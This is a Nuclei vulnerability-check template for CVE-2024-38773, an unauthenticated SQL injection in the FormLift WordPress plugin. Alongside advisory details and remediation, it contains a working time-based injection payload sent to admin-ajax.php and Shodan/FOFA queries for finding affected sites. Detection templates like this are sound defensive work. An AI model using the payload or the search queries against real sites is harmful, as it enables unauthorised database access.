id: CVE-2024-38773

info:
  name: FormLift for Infusionsoft Web Forms <= 7.5.17 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to SQL Injection via the 'form_id' parameter in versions up to, and including, 7.5.17 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure or manipulation.
  remediation: |
    Update to the latest version of FormLift for Infusionsoft Web Forms.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formlift/formlift-for-infusionsoft-web-forms-7517-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/formlift/vulnerability/wordpress-formlift-plugin-7-5-17-unauthenticated-blind-sql-injection-vulnerability
    - https://plugins.trac.wordpress.org/changeset?old_path=/formlift/tags/7.5.17&new_path=/formlift/tags/7.5.18&sfp_email=&sfph_mail=
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-38773
    cwe-id: CWE-89
    epss-score: 0.45041
    epss-percentile: 0.97643
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/formlift/"
    shodan-query: html:"/wp-content/plugins/formlift/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,formlift

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/formlift")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=formlift_submit_form&form_id=0 UNION SELECT SLEEP(7)--

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4b0a004830460221008efb507b9ecad6160efbe35cce524093bf26a95e23c1beef5e88786d538a342f022100870500689e77e01f33e72350db9ef4d27b357cd868dcc44dea1c3f431e23b328:922c64590222798bb761d5b6d8e72950